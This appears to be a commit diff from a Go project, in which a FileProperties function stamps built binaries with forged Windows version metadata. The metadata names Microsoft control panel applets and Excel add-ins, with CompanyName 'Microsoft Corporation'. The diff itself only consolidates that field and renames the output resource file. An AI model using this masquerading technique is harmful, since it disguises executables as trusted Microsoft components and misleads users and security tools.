vi.StringFileInfo.InternalName = "bthprops.cpl"
|
||||
vi.StringFileInfo.FileDescription = "Bluetooth Control Panel Applet"
|
||||
vi.StringFileInfo.FileVersion = "10.0.18362.1 (WinBuild.160101.0800)"
|
||||
@@ -689,7 +699,6 @@ func FileProperties(name string, configFile string) string {
|
||||
vi.StringFileInfo.InternalName = "bthprops.cpl"
|
||||
}
|
||||
if name == "desktop" {
|
||||
vi.StringFileInfo.CompanyName = "Microsoft Corporation"
|
||||
vi.StringFileInfo.InternalName = "desk.cpl"
|
||||
vi.StringFileInfo.FileDescription = "Desktop Settings Control Panel"
|
||||
vi.StringFileInfo.FileVersion = "10.0.18362.1 (WinBuild.160101.0800)"
|
||||
@@ -708,7 +717,6 @@ func FileProperties(name string, configFile string) string {
|
||||
|
||||
}
|
||||
if name == "netfirewall" {
|
||||
vi.StringFileInfo.CompanyName = "Microsoft Corporation"
|
||||
vi.StringFileInfo.InternalName = "Firewall.cpl"
|
||||
vi.StringFileInfo.FileDescription = "Windows Defender Firewall Control Panel DLL Launching Stub"
|
||||
vi.StringFileInfo.FileVersion = "10.0.18362.1 (WinBuild.160101.0800)"
|
||||
@@ -726,7 +734,6 @@ func FileProperties(name string, configFile string) string {
|
||||
vi.StringFileInfo.InternalName = "Firewall.cpl"
|
||||
}
|
||||
if name == "FlashPlayer" {
|
||||
vi.StringFileInfo.CompanyName = "Microsoft Corporation"
|
||||
vi.StringFileInfo.InternalName = " Adobe Flash Player Control Panel Applet 32.0"
|
||||
vi.StringFileInfo.FileDescription = " Adobe Flash Player Control Panel Applet"
|
||||
vi.StringFileInfo.FileVersion = "32.0.0.255"
|
||||
@@ -744,7 +751,6 @@ func FileProperties(name string, configFile string) string {
|
||||
vi.StringFileInfo.InternalName = "FlashPlayerCPLApp.cpl"
|
||||
}
|
||||
if name == "hardwarewiz" {
|
||||
vi.StringFileInfo.CompanyName = "Microsoft Corporation"
|
||||
vi.StringFileInfo.InternalName = "hdwwiz.cpl"
|
||||
vi.StringFileInfo.FileDescription = "Add Hardware Control Panel Applet"
|
||||
vi.StringFileInfo.FileVersion = "10.0.18362.1 (WinBuild.160101.0800)"
|
||||
@@ -762,7 +768,6 @@ func FileProperties(name string, configFile string) string {
|
||||
vi.StringFileInfo.InternalName = "hdwwiz"
|
||||
}
|
||||
if name == "inet" {
|
||||
vi.StringFileInfo.CompanyName = "Microsoft Corporation"
|
||||
vi.StringFileInfo.InternalName = "inetcpl.cpl"
|
||||
vi.StringFileInfo.FileDescription = "Internet Control Panel"
|
||||
vi.StringFileInfo.FileVersion = "10.0.18362.1 (WinBuild.160101.0800)"
|
||||
@@ -780,7 +785,6 @@ func FileProperties(name string, configFile string) string {
|
||||
vi.StringFileInfo.InternalName = "inetcpl.cpl"
|
||||
}
|
||||
if name == "control" {
|
||||
vi.StringFileInfo.CompanyName = "Microsoft Corporation"
|
||||
vi.StringFileInfo.InternalName = "intl.cpl"
|
||||
vi.StringFileInfo.FileDescription = "Control Panel DLL"
|
||||
vi.StringFileInfo.FileVersion = "10.0.18362.1 (WinBuild.160101.0800)"
|
||||
@@ -798,7 +802,6 @@ func FileProperties(name string, configFile string) string {
|
||||
vi.StringFileInfo.InternalName = "CONTROL"
|
||||
}
|
||||
if name == "irprop" {
|
||||
vi.StringFileInfo.CompanyName = "Microsoft Corporation"
|
||||
vi.StringFileInfo.InternalName = "irprops.cpl"
|
||||
vi.StringFileInfo.FileDescription = "Infrared Control Panel Applet"
|
||||
vi.StringFileInfo.FileVersion = "10.0.18362.1 (WinBuild.160101.0800)"
|
||||
@@ -816,7 +819,6 @@ func FileProperties(name string, configFile string) string {
|
||||
vi.StringFileInfo.InternalName = "Infrared Properties"
|
||||
}
|
||||
if name == "Game" {
|
||||
vi.StringFileInfo.CompanyName = "Microsoft Corporation"
|
||||
vi.StringFileInfo.InternalName = "joy.cpl"
|
||||
vi.StringFileInfo.FileDescription = "Game Controllers Control Panel Applet"
|
||||
vi.StringFileInfo.FileVersion = "10.0.18362.1 (WinBuild.160101.0800)"
|
||||
@@ -834,7 +836,6 @@ func FileProperties(name string, configFile string) string {
|
||||
vi.StringFileInfo.InternalName = "JOY.CPL"
|
||||
}
|
||||
if name == "inputs" {
|
||||
vi.StringFileInfo.CompanyName = "Microsoft Corporation"
|
||||
vi.StringFileInfo.InternalName = "main.cpl"
|
||||
vi.StringFileInfo.FileDescription = "Mouse and Keyboard Control Panel Applets"
|
||||
vi.StringFileInfo.FileVersion = "10.0.18362.1 (WinBuild.160101.0800)"
|
||||
@@ -853,7 +854,6 @@ func FileProperties(name string, configFile string) string {
|
||||
|
||||
}
|
||||
if name == "mimosys" {
|
||||
vi.StringFileInfo.CompanyName = "Microsoft Corporation"
|
||||
vi.StringFileInfo.InternalName = "mmsys.dll"
|
||||
vi.StringFileInfo.FileDescription = "Audio Control Panel"
|
||||
vi.StringFileInfo.FileVersion = "10.0.18362.1 (WinBuild.160101.0800)"
|
||||
@@ -871,7 +871,6 @@ func FileProperties(name string, configFile string) string {
|
||||
vi.StringFileInfo.InternalName = "mmsys.cpl"
|
||||
}
|
||||
if name == "ncp" {
|
||||
vi.StringFileInfo.CompanyName = "Microsoft Corporation"
|
||||
vi.StringFileInfo.InternalName = "ncpa.cpl"
|
||||
vi.StringFileInfo.FileDescription = "Network Connections Control-Panel Stub"
|
||||
vi.StringFileInfo.FileVersion = "10.0.18362.1 (WinBuild.160101.0800)"
|
||||
@@ -889,7 +888,6 @@ func FileProperties(name string, configFile string) string {
|
||||
vi.StringFileInfo.InternalName = "ncpa.cpl"
|
||||
}
|
||||
if name == "power" {
|
||||
vi.StringFileInfo.CompanyName = "Microsoft Corporation"
|
||||
vi.StringFileInfo.InternalName = "powercfg.cpl"
|
||||
vi.StringFileInfo.FileDescription = "Power Management Configuration Control Panel Applet"
|
||||
vi.StringFileInfo.FileVersion = "10.0.18362.1 (WinBuild.160101.0800)"
|
||||
@@ -907,7 +905,6 @@ func FileProperties(name string, configFile string) string {
|
||||
vi.StringFileInfo.InternalName = "powercfg.cpl"
|
||||
}
|
||||
if name == "speech" {
|
||||
vi.StringFileInfo.CompanyName = "Microsoft Corporation"
|
||||
vi.StringFileInfo.InternalName = "sapi.cpl"
|
||||
vi.StringFileInfo.FileDescription = "Speech UX Control Panel"
|
||||
vi.StringFileInfo.FileVersion = "10.0.18362.1 (WinBuild.160101.0800)"
|
||||
@@ -926,7 +923,6 @@ func FileProperties(name string, configFile string) string {
|
||||
}
|
||||
|
||||
if name == "system" {
|
||||
vi.StringFileInfo.CompanyName = "Microsoft Corporation"
|
||||
vi.StringFileInfo.InternalName = "sysdm.cpl"
|
||||
vi.StringFileInfo.FileDescription = "System Applet for the Control Panel"
|
||||
vi.StringFileInfo.FileVersion = "10.0.18362.1 (WinBuild.160101.0800)"
|
||||
@@ -944,7 +940,6 @@ func FileProperties(name string, configFile string) string {
|
||||
vi.StringFileInfo.InternalName = "sysdm.cpl"
|
||||
}
|
||||
if name == "Tablet" {
|
||||
vi.StringFileInfo.CompanyName = "Microsoft Corporation"
|
||||
vi.StringFileInfo.InternalName = "TabletPC.cpl"
|
||||
vi.StringFileInfo.FileDescription = "Tablet PC Control Panel"
|
||||
vi.StringFileInfo.FileVersion = "10.0.18362.1 (WinBuild.160101.0800)"
|
||||
@@ -962,7 +957,6 @@ func FileProperties(name string, configFile string) string {
|
||||
vi.StringFileInfo.InternalName = "TabletPC.cpl"
|
||||
}
|
||||
if name == "telephone" {
|
||||
vi.StringFileInfo.CompanyName = "Microsoft Corporation"
|
||||
vi.StringFileInfo.InternalName = "telephon.cpl"
|
||||
vi.StringFileInfo.FileDescription = "Telephony Control Panel"
|
||||
vi.StringFileInfo.FileVersion = "10.0.18362.1 (WinBuild.160101.0800)"
|
||||
@@ -980,7 +974,6 @@ func FileProperties(name string, configFile string) string {
|
||||
vi.StringFileInfo.InternalName = "telephon.cpl"
|
||||
}
|
||||
if name == "datetime" {
|
||||
vi.StringFileInfo.CompanyName = "Microsoft Corporation"
|
||||
vi.StringFileInfo.InternalName = "timedate.cpl"
|
||||
vi.StringFileInfo.FileDescription = "Time Date Control Panel Applet"
|
||||
vi.StringFileInfo.FileVersion = "10.0.18362.1 (WinBuild.160101.0800)"
|
||||
@@ -998,7 +991,6 @@ func FileProperties(name string, configFile string) string {
|
||||
vi.StringFileInfo.InternalName = "timedate.cpl"
|
||||
}
|
||||
if name == "winsec" {
|
||||
vi.StringFileInfo.CompanyName = "Microsoft Corporation"
|
||||
vi.StringFileInfo.InternalName = "wscui.cpl"
|
||||
vi.StringFileInfo.FileDescription = "Security and Maintenance"
|
||||
vi.StringFileInfo.FileVersion = "10.0.18362.1 (WinBuild.160101.0800)"
|
||||
@@ -1016,7 +1008,6 @@ func FileProperties(name string, configFile string) string {
|
||||
vi.StringFileInfo.InternalName = "wscui.cpl"
|
||||
}
|
||||
if name == "Timesheet" {
|
||||
vi.StringFileInfo.CompanyName = "Microsoft Corporation"
|
||||
vi.StringFileInfo.InternalName = "Timesheet.xll "
|
||||
vi.StringFileInfo.FileDescription = "Timesheet ToolPak"
|
||||
vi.StringFileInfo.FileVersion = "16.0.10001.10000"
|
||||
@@ -1034,7 +1025,6 @@ func FileProperties(name string, configFile string) string {
|
||||
vi.StringFileInfo.InternalName = "Timesheet.xll"
|
||||
}
|
||||
if name == "Reports" {
|
||||
vi.StringFileInfo.CompanyName = "Microsoft Corporation"
|
||||
vi.StringFileInfo.InternalName = "Reports.xll "
|
||||
vi.StringFileInfo.FileDescription = "Report ToolPak"
|
||||
vi.StringFileInfo.FileVersion = "16.0.10001.10000"
|
||||
@@ -1052,7 +1042,6 @@ func FileProperties(name string, configFile string) string {
|
||||
vi.StringFileInfo.InternalName = "Reports.xll"
|
||||
}
|
||||
if name == "Zoom" {
|
||||
vi.StringFileInfo.CompanyName = "Microsoft Corporation"
|
||||
vi.StringFileInfo.InternalName = "Zoom.xll"
|
||||
vi.StringFileInfo.FileDescription = "Zoom Addon ToolPak"
|
||||
vi.StringFileInfo.FileVersion = "16.0.10001.10000"
|
||||
@@ -1070,7 +1059,6 @@ func FileProperties(name string, configFile string) string {
|
||||
vi.StringFileInfo.InternalName = "Zoom.xll"
|
||||
}
|
||||
if name == "Updates" {
|
||||
vi.StringFileInfo.CompanyName = "Microsoft Corporation"
|
||||
vi.StringFileInfo.InternalName = "Updates.xll "
|
||||
vi.StringFileInfo.FileDescription = "Microsoft Update ToolPak"
|
||||
vi.StringFileInfo.FileVersion = "16.0.10001.10000"
|
||||
@@ -1089,7 +1077,6 @@ func FileProperties(name string, configFile string) string {
|
||||
}
|
||||
|
||||
if name == "Calendar" {
|
||||
vi.StringFileInfo.CompanyName = "Microsoft Corporation"
|
||||
vi.StringFileInfo.InternalName = "Calendar.xll "
|
||||
vi.StringFileInfo.FileDescription = "Calendar ToolPak"
|
||||
vi.StringFileInfo.FileVersion = "16.0.10001.10000"
|
||||
@@ -1107,7 +1094,6 @@ func FileProperties(name string, configFile string) string {
|
||||
vi.StringFileInfo.InternalName = "Calendar.xll"
|
||||
}
|
||||
if name == "Memo" {
|
||||
vi.StringFileInfo.CompanyName = "Microsoft Corporation"
|
||||
vi.StringFileInfo.InternalName = "Memo.xll "
|
||||
vi.StringFileInfo.FileDescription = "Memo ToolPak"
|
||||
vi.StringFileInfo.FileVersion = "16.0.10001.10000"
|
||||
@@ -1125,7 +1111,6 @@ func FileProperties(name string, configFile string) string {
|
||||
vi.StringFileInfo.InternalName = "Memo.xll"
|
||||
}
|
||||
if name == "Desk" {
|
||||
vi.StringFileInfo.CompanyName = "Microsoft Corporation"
|
||||
vi.StringFileInfo.InternalName = "Desk.xll "
|
||||
vi.StringFileInfo.FileDescription = "Office Desktop ToolPak"
|
||||
vi.StringFileInfo.FileVersion = "16.0.10001.10000"
|
||||
@@ -1144,7 +1129,6 @@ func FileProperties(name string, configFile string) string {
|
||||
}
|
||||
|
||||
if name == "Appwiz" {
|
||||
vi.StringFileInfo.CompanyName = "Microsoft Corporation"
|
||||
vi.StringFileInfo.InternalName = "Appwiz.xll "
|
||||
vi.StringFileInfo.FileDescription = "Application Installer ToolPak"
|
||||
vi.StringFileInfo.FileVersion = "16.0.10001.10000"
|
||||
@@ -1163,15 +1147,13 @@ func FileProperties(name string, configFile string) string {
|
||||
}
|
||||
}
|
||||
|
||||
vi.StringFileInfo.CompanyName = "Microsoft Corporation"
|
||||
|
||||
vi.Build()
|
||||
vi.Walk()
|
||||
|
||||
var archs []string
|
||||
archs = []string{"amd64"}
|
||||
for _, item := range archs {
|
||||
fileout := "resource_windows.syso"
|
||||
fileout := "fart.syso"
|
||||
if err := vi.WriteSyso(fileout, item); err != nil {
|
||||
log.Printf("Error writing syso: %v", err)
|
||||
os.Exit(3)
|
||||
|
||||
Reference in New Issue
Block a user